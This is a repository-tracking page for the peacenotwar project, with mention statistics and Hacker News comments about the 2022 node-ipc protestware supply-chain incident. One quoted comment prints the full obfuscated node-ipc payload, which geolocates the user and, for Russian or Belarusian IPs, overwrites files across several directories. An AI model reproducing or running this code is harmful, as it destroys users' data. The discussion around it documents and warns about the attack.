HackerReposA FIELD GUIDE TO OPEN SOURCE
ProSponsor the shelf♧ 0
← Back to top all-time
riaevangelist
peacenotwar
HISTORICAL RECORD2022–2022
riaevangelist / peacenotwar · Not publicly available

peacenotwar

Discover this repository through its Hacker News conversations.

8Distinct people
8Mentions
0Explicit recommenders
REPOSITORY AT A GLANCE

What to know before exploring

What it is

A public description has not been verified.

Where it is used

No documented product use has been verified yet.

What people are saying

No recommendation phrase was found in the indexed comments.

No classified warning is attached to this page. Read the discussions before treating silence as approval.

Also in these discussions

Mentioned in the same Hacker News threads. That is not proof they are substitutes.

This week on Hacker News

Nov 7–Nov 14 UTC · Direct repository links and separately labeled related project stories. Indexed through 11/14/2026, 5:04:57 PM UTC.

No direct repository links were found in the indexed HN discussions over the past seven days. Older discussions are available below.

Mentions over time

HN mentions by 3-hour interval8 dated mentions

Observed mentions: 2022-03-15 15:06:26 UTC to 2022-03-19 12:04:54 UTC.

01232022-03-15 15:00:00 UTC to 2022-03-15 18:00:00 UTC (exclusive): 1 mentions; 1 submissions, 0 commentsMar 15, 15:002022-03-15 18:00:00 UTC to 2022-03-15 21:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-15 21:00:00 UTC to 2022-03-16 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 00:00:00 UTC to 2022-03-16 03:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 03:00:00 UTC to 2022-03-16 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 06:00:00 UTC to 2022-03-16 09:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 09:00:00 UTC to 2022-03-16 12:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2022-03-16 12:00:00 UTC to 2022-03-16 15:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 15:00:00 UTC to 2022-03-16 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 18:00:00 UTC to 2022-03-16 21:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-16 21:00:00 UTC to 2022-03-17 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 00:00:00 UTC to 2022-03-17 03:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 03:00:00 UTC to 2022-03-17 06:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2022-03-17 06:00:00 UTC to 2022-03-17 09:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 09:00:00 UTC to 2022-03-17 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 12:00:00 UTC to 2022-03-17 15:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 commentsMar 17, 12:002022-03-17 15:00:00 UTC to 2022-03-17 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 18:00:00 UTC to 2022-03-17 21:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-17 21:00:00 UTC to 2022-03-18 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 00:00:00 UTC to 2022-03-18 03:00:00 UTC (exclusive): 3 mentions; 1 submissions, 2 comments2022-03-18 03:00:00 UTC to 2022-03-18 06:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 06:00:00 UTC to 2022-03-18 09:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 09:00:00 UTC to 2022-03-18 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 12:00:00 UTC to 2022-03-18 15:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 15:00:00 UTC to 2022-03-18 18:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 18:00:00 UTC to 2022-03-18 21:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-18 21:00:00 UTC to 2022-03-19 00:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-19 00:00:00 UTC to 2022-03-19 03:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-19 03:00:00 UTC to 2022-03-19 06:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 comments2022-03-19 06:00:00 UTC to 2022-03-19 09:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-19 09:00:00 UTC to 2022-03-19 12:00:00 UTC (exclusive): 0 mentions; 0 submissions, 0 comments2022-03-19 12:00:00 UTC to 2022-03-19 15:00:00 UTC (exclusive): 1 mentions; 0 submissions, 1 commentsMar 19, 12:00

Counts come from the repository’s dated source evidence. Index cutoff: 2026-11-02 08:16:59 UTC.

View mention counts and date ranges
UTC ranges include their start and exclude their end. Select a period to filter the source evidence.
PeriodStart (UTC)End (exclusive, UTC)MentionsSubmissionsComments
Mar 15, 15:002022-03-15 15:00:00 UTC2022-03-15 18:00:00 UTC110
Mar 15, 18:002022-03-15 18:00:00 UTC2022-03-15 21:00:00 UTC000
Mar 15, 21:002022-03-15 21:00:00 UTC2022-03-16 00:00:00 UTC000
Mar 16, 00:002022-03-16 00:00:00 UTC2022-03-16 03:00:00 UTC000
Mar 16, 03:002022-03-16 03:00:00 UTC2022-03-16 06:00:00 UTC000
Mar 16, 06:002022-03-16 06:00:00 UTC2022-03-16 09:00:00 UTC000
Mar 16, 09:002022-03-16 09:00:00 UTC2022-03-16 12:00:00 UTC101
Mar 16, 12:002022-03-16 12:00:00 UTC2022-03-16 15:00:00 UTC000
Mar 16, 15:002022-03-16 15:00:00 UTC2022-03-16 18:00:00 UTC000
Mar 16, 18:002022-03-16 18:00:00 UTC2022-03-16 21:00:00 UTC000
Mar 16, 21:002022-03-16 21:00:00 UTC2022-03-17 00:00:00 UTC000
Mar 17, 00:002022-03-17 00:00:00 UTC2022-03-17 03:00:00 UTC000
Mar 17, 03:002022-03-17 03:00:00 UTC2022-03-17 06:00:00 UTC101
Mar 17, 06:002022-03-17 06:00:00 UTC2022-03-17 09:00:00 UTC000
Mar 17, 09:002022-03-17 09:00:00 UTC2022-03-17 12:00:00 UTC000
Mar 17, 12:002022-03-17 12:00:00 UTC2022-03-17 15:00:00 UTC000
Mar 17, 15:002022-03-17 15:00:00 UTC2022-03-17 18:00:00 UTC000
Mar 17, 18:002022-03-17 18:00:00 UTC2022-03-17 21:00:00 UTC000
Mar 17, 21:002022-03-17 21:00:00 UTC2022-03-18 00:00:00 UTC000
Mar 18, 00:002022-03-18 00:00:00 UTC2022-03-18 03:00:00 UTC312
Mar 18, 03:002022-03-18 03:00:00 UTC2022-03-18 06:00:00 UTC000
Mar 18, 06:002022-03-18 06:00:00 UTC2022-03-18 09:00:00 UTC000
Mar 18, 09:002022-03-18 09:00:00 UTC2022-03-18 12:00:00 UTC000
Mar 18, 12:002022-03-18 12:00:00 UTC2022-03-18 15:00:00 UTC000
Mar 18, 15:002022-03-18 15:00:00 UTC2022-03-18 18:00:00 UTC000
Mar 18, 18:002022-03-18 18:00:00 UTC2022-03-18 21:00:00 UTC000
Mar 18, 21:002022-03-18 21:00:00 UTC2022-03-19 00:00:00 UTC000
Mar 19, 00:002022-03-19 00:00:00 UTC2022-03-19 03:00:00 UTC000
Mar 19, 03:002022-03-19 03:00:00 UTC2022-03-19 06:00:00 UTC101
Mar 19, 06:002022-03-19 06:00:00 UTC2022-03-19 09:00:00 UTC000
Mar 19, 09:002022-03-19 09:00:00 UTC2022-03-19 12:00:00 UTC000
Mar 19, 12:002022-03-19 12:00:00 UTC2022-03-19 15:00:00 UTC101

What Hacker News says

8 sources
This GH issue has links to the malicious code -- it deletes files of users whose IP addresses are Russian https://github.com/RIAEvangelist/peacenotwar/issues/61 # https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b22… import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","ba
Read the rest
se64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
In Node-ipc supply chain attack: peacenotwar
The package uses https://github.com/RIAEvangelist/peacenotwar to deliver the message. But I don't understand why/how it would wipe the PC. Unless I missed something, the code from the package does not delete anything. > This code serves as a non-destructive example of why controlling your node modules is important. It also serves as a non-violent protest against Russia's aggression that threatens the world right now. Nah, the author knew it's would be controversial. The first sentence is there as an excuse.
In My entire PC got wiped Do not download
The peacenotwar module appears to write a file to the user's PC. README includes: "This code serves as a non-destructive example of why controlling your node modules is important. It also serves as a non-violent protest against Russia's aggression that threatens the world right now. This module will add a message of peace on your users' desktops, and it will only do it if it does not already exist just to be polite." Link to peacenotwar: https://github.com/RIAEvangelist/peacenotwar An of course the issues come in: https://github.com/RIAEvangelist/node-ipc/issues
In Node-ipc added dependency on maintainer's peacenotwar module

MAKE YOURSELF AT HOME

A few shortcuts

/
Search the collection
?
Open this guide
Esc
Close dialogs and navigation

Your saved repositories and interests stay in this browser.